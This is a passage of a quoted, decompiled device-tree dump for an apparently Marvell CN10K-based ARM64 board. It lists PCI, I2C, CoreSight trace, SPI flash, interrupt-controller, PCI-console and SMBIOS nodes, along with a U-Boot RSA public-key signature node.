> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xbf>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xbb>;
> phandle = <0xbd>;
> };
> };
> };
> };
>
> pci@878000000000 {
> #address-cells = <0x3>;
> dma-coherent;
> bus-range = <0x0 0xff>;
> #size-cells = <0x2>;
> device_type = "pci";
> compatible = "pci-host-ecam-generic";
> ranges = <0x3000000 0x8020 0x0 0x8020 0x0 0xd0 0x900000 0x3000000 0x8280 0x0 0x8280 0x0 0x1 0x200000 0x3000000 0x82c0 0x0 0x82c0 0x0 0x0 0x200000 0x3000000;
> msi-map = <0x0 0x37 0x0 0x10000>;
> reg = <0x8780 0x0 0x0 0x10000000>;
> linux,pci-domain = <0x0>;
> phandle = <0x100>;
> iommu-map = <0x0 0x39 0x0 0x10000>;
>
> gpio0@17,0 {
> gpio-controller;
> u-boot,dm-pre-reloc;
> compatible = "cavium,thunder-8890-gpio";
> reg = <0x8800 0x0 0x0 0x0 0x0>;
> phandle = <0xf3>;
> #gpio-cells = <0x2>;
> };
>
> mailbox@28,0 {
> shmem = <0x3f>;
> #mbox-cells = <0x1>;
> compatible = "marvell,mbox";
> reg = <0xe000 0x0 0x0 0x0 0x0>;
> phandle = <0xf1>;
> };
>
> mrml-bridge0@1,0 {
> #address-cells = <0x3>;
> u-boot,dm-pre-reloc;
> #size-cells = <0x2>;
> device_type = "pci";
> compatible = "pci-bridge", "cavium,thunder-8890-mrml-bridge";
> ranges = <0x3000000 0x87e0 0x0 0x3000000 0x87e0 0x0 0x10 0x0>;
> reg = <0x800 0x0 0x0 0x0 0x0>;
> phandle = <0x101>;
>
> i2c@24,10 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xca00 0x0 0x0 0x0 0x0>;
> phandle = <0x10d>;
> };
>
> mdio-nexus@1,3 {
> #address-cells = <0x2>;
> assigned-addresses = <0x3000000 0x87e0 0x5000000 0x0 0x100000>;
> #size-cells = <0x2>;
> compatible = "cavium,thunder-8890-mdio-nexus";
> ranges = <0x87e0 0x5000000 0x3000000 0x87e0 0x5000000 0x0 0x100000>;
> reg = <0xb00 0x0 0x0 0x0 0x0>;
>
> mdio0_uio {
> mii-bus = <0x3c>;
> compatible = "marvell,mvmdio-uio";
> };
>
> mdio0@87e005003800 {
> #address-cells = <0x1>;
> #size-cells = <0x0>;
> compatible = "cavium,thunder-8890-mdio";
> reg = <0x87e0 0x5003800 0x0 0x30>;
> phandle = <0x3c>;
> };
>
> mdio1_uio {
> mii-bus = <0x3d>;
> compatible = "marvell,mvmdio-uio";
> };
>
> mdio1@87e005003880 {
> #address-cells = <0x1>;
> #size-cells = <0x0>;
> compatible = "cavium,thunder-8890-mdio";
> reg = <0x87e0 0x5003880 0x0 0x30>;
> phandle = <0x3d>;
> };
> };
>
> i2c@24,1 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc100 0x0 0x0 0x0 0x0>;
> phandle = <0x103>;
>
> rtc@68 {
> rtcmodel = <0x1>;
> compatible = "dallas,ds1337";
> reg = <0x68>;
> };
> };
>
> i2c@24,8 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc800 0x0 0x0 0x0 0x0>;
> phandle = <0x10b>;
> };
>
> i2c@24,6 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc600 0x0 0x0 0x0 0x0>;
> phandle = <0x109>;
> };
>
> i2c@24,4 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc400 0x0 0x0 0x0 0x0>;
> phandle = <0x107>;
> };
>
> i2c@24,11 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xcb00 0x0 0x0 0x0 0x0>;
> phandle = <0x10e>;
> };
>
> i2c@24,2 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc200 0x0 0x0 0x0 0x0>;
> phandle = <0x104>;
> };
>
> i2c@24,0 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc000 0x0 0x0 0x0 0x0>;
> phandle = <0x102>;
> };
>
> i2c@24,9 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc900 0x0 0x0 0x0 0x0>;
> phandle = <0x10c>;
> };
>
> i2c@24,7 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc700 0x0 0x0 0x0 0x0>;
> phandle = <0x10a>;
> };
>
> i2c@24,5 {
> #address-cells = <0x1>;
> u-boot,dm-pre-reloc;
> clocks = <0x36>;
> #size-cells = <0x0>;
> clock-frequency = <0x186a0>;
> compatible = "cavium,thunder-8890-twsi", "cavium,thunderx-i2c";
> reg = <0xc500 0x0 0x0 0x0 0x0>;
> phandle = <0x108>;
> };
> };
>
> ptp@8,0 {
> compatible = "marvell,ptp";
> reg = <0x4000 0x0 0x0 0x0 0x0>;
> phandle = <0x12b>;
> };
> };
>
> pmpcsr6@87a08d020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x8>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x8d020000 0x0 0x1000>;
> };
>
> etf18@87a005210000 {
> clock-names = "apb_pclk";
> memory-region = <0xb0>;
> clocks = <0x36>;
> cpu = <0x14>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5210000 0x0 0x1000>;
> phandle = <0xb4>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xb1>;
> phandle = <0xaf>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xb2>;
> phandle = <0xe6>;
> };
> };
> };
> };
>
> etf_cti7@87a004720000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4720000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x72>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete6 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x8>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x6b>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x67>;
> phandle = <0x69>;
> };
> };
> };
> };
>
> ete10 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xc>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x83>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x7f>;
> phandle = <0x81>;
> };
> };
> };
> };
>
> etf14@87a004e10000 {
> clock-names = "apb_pclk";
> memory-region = <0x98>;
> clocks = <0x36>;
> cpu = <0x10>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4e10000 0x0 0x1000>;
> phandle = <0x9c>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x99>;
> phandle = <0x97>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x9a>;
> phandle = <0xe2>;
> };
> };
> };
> };
>
> etf_cti17@87a005120000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5120000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xae>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> spi@805000000000 {
> iommus = <0x39 0x38>;
> #address-cells = <0x2>;
> dma-coherent;
> reg-names = "io", "sdma", "aux", "xfer";
> interrupts = <0x0 0x5b 0x1>;
> #size-cells = <0x2>;
> compatible = "cdns,xspi-nor";
> reg = <0x8050 0x0 0x0 0x1040 0x8050 0x10000000 0x0 0x1000 0x8050 0x2000 0x0 0x2300 0x8050 0x8000 0x0 0x240>;
> phandle = <0xfe>;
> cdns,read-size = <0x1>;
>
> flash@0 {
> #address-cells = <0x1>;
> spi-tx-bus-width = <0x4>;
> #size-cells = <0x1>;
> spi-max-frequency = <0x17d7840>;
> spi-rx-bus-width = <0x4>;
> u-boot,efivar-offset = <0x1e30000>;
> compatible = "jedec,spi-nor", "spi-flash";
> reg = <0x0>;
> phandle = <0xff>;
> u-boot,env-offset = <0x1e20000>;
> u-boot,env;
> };
> };
>
> pci@878010000000 {
> #address-cells = <0x3>;
> dma-coherent;
> bus-range = <0x0 0xff>;
> #size-cells = <0x2>;
> device_type = "pci";
> compatible = "pci-host-ecam-generic";
> ranges = <0x3000000 0x8680 0x0 0x8680 0x0 0x20 0x0 0x3000000 0x87e0 0xfe9c0000 0x87e0 0xfe9c0000 0x0 0x10000 0x3000000 0x8e00 0x0 0x8e00 0x0 0x0 0x40000000;
> msi-map = <0x0 0x37 0x10000 0x10000>;
> reg = <0x8780 0x10000000 0x0 0x10000000>;
> linux,pci-domain = <0x1>;
> phandle = <0x13a>;
> iommu-map = <0x0 0x39 0x10000 0x10000>;
> };
>
> etf_cti13@87a004d20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4d20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x96>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti13@87a09a010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xf>;
> arm,cs-dev-assoc = <0x95>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x9a010000 0x0 0x1000>;
> };
>
> etf6@87a004610000 {
> clock-names = "apb_pclk";
> memory-region = <0x68>;
> clocks = <0x36>;
> cpu = <0x8>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4610000 0x0 0x1000>;
> phandle = <0x6c>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x69>;
> phandle = <0x67>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x6a>;
> phandle = <0xda>;
> };
> };
> };
> };
>
> etf_cti1@87a004120000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4120000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x4e>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ete19 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x15>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xb9>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xb5>;
> phandle = <0xb7>;
> };
> };
> };
> };
>
> ap_cti9@87a092010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xb>;
> arm,cs-dev-assoc = <0x7d>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x92010000 0x0 0x1000>;
> };
>
> pci@878020000000 {
> #address-cells = <0x3>;
> dma-coherent;
> bus-range = <0x0 0xff>;
> #size-cells = <0x2>;
> device_type = "pci";
> compatible = "pci-host-ecam-generic";
> ranges = <0x3000000 0x8400 0x0 0x8400 0x0 0x1f5 0x0 0x3000000 0x9 0xfc000000 0x9 0xfc000000 0x0 0x3040000>;
> msi-map = <0x0 0x37 0x20000 0x10000>;
> reg = <0x8780 0x20000000 0x0 0x10000000>;
> linux,pci-domain = <0x2>;
> phandle = <0x12c>;
> iommu-map = <0x0 0x39 0x20000 0x10000>;
>
> rvu-cpt@0 {
> num-rvu-vfs = <0x40>;
> num-msix-vec = <0xc3>;
> };
>
> rvu-ipsec@0 {
> num-rvu-vfs = <0x8>;
> num-msix-vec = <0xd2>;
> };
>
> rvu-admin@0 {
> num-rvu-vfs = <0x10>;
> num-msix-vec = <0x26>;
> };
>
> rvu-sso-tim@0 {
> num-rvu-vfs = <0x4>;
> num-msix-vec = <0x400>;
> };
>
> rvu-sdp@0 {
> pf-srn = <0x0>;
> num-sdp-vfs = <0x8>;
> num-sdp-pf-rings = <0x8>;
> provision-mode = "AVAILABLE";
> num-sdp-vf-rings = <0x8>;
> num-rvu-vfs = <0x9>;
> num-msix-vec = <0xd2>;
> num-rvu-pf-rings = <0x0>;
> num-sdp-pfs = <0x1>;
> };
>
> rvu-npa@0 {
> provision-mode = "AVAILABLE";
> num-rvu-vfs = <0x8>;
> num-msix-vec = <0x80>;
> };
> };
>
> etf23@87a005710000 {
> clock-names = "apb_pclk";
> memory-region = <0xce>;
> clocks = <0x36>;
> cpu = <0x19>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5710000 0x0 0x1000>;
> phandle = <0xd2>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xcf>;
> phandle = <0xcd>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xd0>;
> phandle = <0xeb>;
> };
> };
> };
> };
>
> ap_cti16@87a0a0010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x12>;
> arm,cs-dev-assoc = <0xa7>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xa0010000 0x0 0x1000>;
> };
>
> sh_cti@87a100030000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a1 0x30000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1 0x2 0x3>;
> arm,trig-in-types = <0xe 0xe 0xd 0xd 0xc 0xc>;
> arm,cs-dev-assoc = <0xf0>;
> arm,trig-in-sigs = <0x0 0x1 0x2 0x3 0x4 0x5>;
> arm,trig-out-types = <0xf 0xf 0x10 0x10>;
> reg = <0x0>;
> };
> };
>
> serial@87e02c000000 {
> clock-names = "apb_pclk";
> interrupts = <0x0 0x4 0x4>;
> clocks = <0x34>;
> skip-init;
> compatible = "arm,pl011", "arm,primecell";
> reg = <0x87e0 0x2c000000 0x0 0x1000>;
> phandle = <0x136>;
> };
>
> pmpcsr11@87a097020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0xd>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x97020000 0x0 0x1000>;
> };
>
> ete4 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x6>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x5f>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x5b>;
> phandle = <0x5d>;
> };
> };
> };
> };
>
> pmpcsr0@87a081020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x2>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x81020000 0x0 0x1000>;
> };
>
> etf0@87a004010000 {
> clock-names = "apb_pclk";
> memory-region = <0x44>;
> clocks = <0x36>;
> cpu = <0x2>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4010000 0x0 0x1000>;
> phandle = <0x48>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x45>;
> phandle = <0x43>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x46>;
> phandle = <0xd4>;
> };
> };
> };
> };
>
> etf_cti22@87a005620000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5620000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xcc>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ddrcpmu4 {
> marvell,ddr-speed = <0xc80>;
> compatible = "marvell,cn10k-ddr-pmu";
> reg = <0x87e1 0xc4000000 0x0 0x10000>;
> };
>
> pmpcsr5@87a08b020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x7>;
> compatible = "arm,primecell";
> reg = <0x87a0 0x8b020000 0x0 0x1000>;
> };
>
> ap_cti4@87a088010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x6>;
> arm,cs-dev-assoc = <0x5f>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x88010000 0x0 0x1000>;
> };
>
> etf19@87a005310000 {
> clock-names = "apb_pclk";
> memory-region = <0xb6>;
> clocks = <0x36>;
> cpu = <0x15>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x5310000 0x0 0x1000>;
> phandle = <0xba>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0xb7>;
> phandle = <0xb5>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xb8>;
> phandle = <0xe7>;
> };
> };
> };
> };
>
> etf_cti8@87a004820000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4820000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x78>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ap_cti23@87a0ae010000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x19>;
> arm,cs-dev-assoc = <0xd1>;
> compatible = "arm,coresight-cti-v8-arch", "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0xae010000 0x0 0x1000>;
> };
>
> pmpcsr19@87a0a7020000 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x15>;
> compatible = "arm,primecell";
> reg = <0x87a0 0xa7020000 0x0 0x1000>;
> };
>
> pci-console-nexus {
> #address-cells = <0x2>;
> memory-region = <0x35>;
> #size-cells = <0x1>;
> num-consoles = <0x7>;
> skip-init;
> compatible = "marvell,pci-console-nexus";
> ranges = <0x0 0x0 0x0 0x20060100 0x4000 0x1 0x0 0x0 0x20064100 0x4000 0x2 0x0 0x0 0x20068100 0x4000 0x3 0x0 0x0 0x2006c100 0x4000 0x4 0x0 0x0 0x20070100 0x;
> status = "okay";
> reg = <0x0 0x20060000 0x0 0x1c100>;
>
> pci-console@2 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x2 0x0 0x4000>;
> };
>
> pci-console@0 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x0 0x0 0x4000>;
> };
>
> pci-console@5 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x5 0x0 0x4000>;
> };
>
> pci-console@3 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x3 0x0 0x4000>;
> };
>
> pci-console@1 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x1 0x0 0x4000>;
> };
>
> pci-console@6 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x6 0x0 0x4000>;
> };
>
> pci-console@4 {
> tx-buffer-size = <0x3000>;
> compatible = "marvell,pci-console";
> status = "okay";
> rx-buffer-size = <0xf80>;
> reg = <0x4 0x0 0x4000>;
> };
> };
>
> ete17 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x13>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0xad>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xa9>;
> phandle = <0xab>;
> };
> };
> };
> };
>
> etf15@87a004f10000 {
> clock-names = "apb_pclk";
> memory-region = <0x9e>;
> clocks = <0x36>;
> cpu = <0x11>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4f10000 0x0 0x1000>;
> phandle = <0xa2>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x9f>;
> phandle = <0x9d>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0xa0>;
> phandle = <0xe3>;
> };
> };
> };
> };
>
> etf_cti18@87a005220000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x5220000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0xb4>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> ioclk {
> clock-output-names = "ioclk";
> #clock-cells = <0x0>;
> clock-frequency = <0x2faf0800>;
> compatible = "fixed-clock";
> phandle = <0xf7>;
> };
>
> ete2 {
> clock-names = "apb_pclk";
> clocks = <0x36>;
> cpu = <0x4>;
> compatible = "arm,embedded-trace-extension";
> metadata-region = <0x0 0x0 0x0 0x0>;
> phandle = <0x53>;
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x4f>;
> phandle = <0x51>;
> };
> };
> };
> };
>
> etf_cti14@87a004e20000 {
> #address-cells = <0x1>;
> clock-names = "apb_pclk";
> clocks = <0x36>;
> #size-cells = <0x0>;
> compatible = "arm,coresight-cti", "arm,primecell";
> reg = <0x87a0 0x4e20000 0x0 0x1000>;
>
> trig-conns@0 {
> arm,trig-out-sigs = <0x0 0x1>;
> arm,trig-in-types = <0xe 0xd 0xc>;
> arm,cs-dev-assoc = <0x9c>;
> arm,trig-in-sigs = <0x0 0x1 0x2>;
> arm,trig-out-types = <0x10 0xf>;
> reg = <0x0>;
> };
> };
>
> etf7@87a004710000 {
> clock-names = "apb_pclk";
> memory-region = <0x6e>;
> clocks = <0x36>;
> cpu = <0x9>;
> compatible = "arm,coresight-tmc", "arm,primecell";
> metadata-region = <0x0 0x0 0x0 0x0>;
> reg = <0x87a0 0x4710000 0x0 0x1000>;
> phandle = <0x72>;
>
> in-ports {
>
> port {
>
> endpoint {
> slave-mode;
> remote-endpoint = <0x6f>;
> phandle = <0x6d>;
> };
> };
> };
>
> out-ports {
>
> port {
>
> endpoint {
> remote-endpoint = <0x70>;
> phandle = <0xdb>;
> };
> };
> };
> };
> };
>
> interrupt-controller@801000000000 {
> #address-cells = <0x2>;
> #redistributor-regions = <0x1>;
> interrupts = <0x1 0x9 0x4>;
> #size-cells = <0x2>;
> compatible = "arm,gic-v3";
> ranges;
> #interrupt-cells = <0x3>;
> reg = <0x8010 0x0 0x0 0x40000 0x8010 0x80000 0x0 0x600000 0x8010 0x680000 0x0 0x10000>;
> phandle = <0x1>;
> interrupt-controller;
>
> gic-its@801000040000 {
> msi-controller;
> compatible = "arm,gic-v3-its";
> reg = <0x8010 0x40000 0x0 0x40000>;
> phandle = <0x37>;
> numa-node-id = <0x0>;
> #msi-cells = <0x1>;
> };
> };
>
> signature {
>
> key-dev {
> required = "conf";
> rsa,num-bits = <0x800>;
> key-name-hint = "dev";
> rsa,n0-inverse = <0xe34dadab>;
> rsa,modulus = <0xc9bff5e6 0x60d51523 0x9a553667 0xa341c484 0x4bd352ad 0x5b3d078a 0x19d7e80c 0x1ede28ce 0x409061b5 0xa7f3871e 0x71307b7a 0x719a585e 0xd07feb;
> rsa,exponent = <0x0 0x10001>;
> algo = "sha256,rsa2048";
> rsa,r-squared = <0x89ff95f2 0x851bb587 0xf73d9906 0x8a55ce4f 0x9b535633 0xd1b50060 0x519953a4 0xa6de89c3 0x4f93ceb6 0xd4845ab8 0x6a3bc081 0xf356d1da 0xedbf;
> };
> };
>
> memory@0 {
> device_type = "memory";
> ranges;
> reg = <0x0 0x4000000 0x9 0xf3afe000>;
> numa-node-id = <0x0>;
>
> msc@0x87e1c3240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc3240000 0x0 0x2000>;
> };
>
> msc@0x87e1c0240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc0240000 0x0 0x2000>;
> };
>
> msc@0x87e1c4240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc4240000 0x0 0x2000>;
> };
>
> msc@0x87e1c1240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc1240000 0x0 0x2000>;
> };
>
> msc@0x87e1c5240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc5240000 0x0 0x2000>;
> };
>
> msc@0x87e1c2240000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e1 0xc2240000 0x0 0x2000>;
> };
> };
>
> mmc_supply_1v8 {
> regulator-max-microvolt = <0x1b7740>;
> enable-active-high;
> regulator-min-microvolt = <0x1b7740>;
> regulator-name = "mmc_supply_1v8";
> compatible = "regulator-fixed";
> phandle = <0x3a>;
> };
>
> psci {
> method = "smc";
> compatible = "arm,psci-1.0";
> };
>
> uboot-smbios {
>
> type19@0 {
> array-handle = <0x600>;
> ext-start-addrs = <0x0 0x4000000>;
> part-width = <0x1>;
> end-addr = <0xffffffff>;
> start-addr = <0xffffffff>;
> #ext-end-addr-cells = <0x2>;
> #ext-start-addr-cells = <0x2>;
> ext-end-addrs = <0x9 0xffffffff>;
> };
>
> type16 {
> location = <0x3>;
> #ext-max-capacity-cells = <0x2>;
> mem-slots = <0x3>;
> memerr-info = <0xfffe>;
> max-capacity = <0x80000000>;
> err-corr = <0x5>;
> ext-max-capacitys = <0x300 0x0>;
> use = <0x3>;
> };
>
> type7@3 {
> cache-type = <0x5>;
> socket = "Last Level Cache";
> ecorr-type = <0x5>;
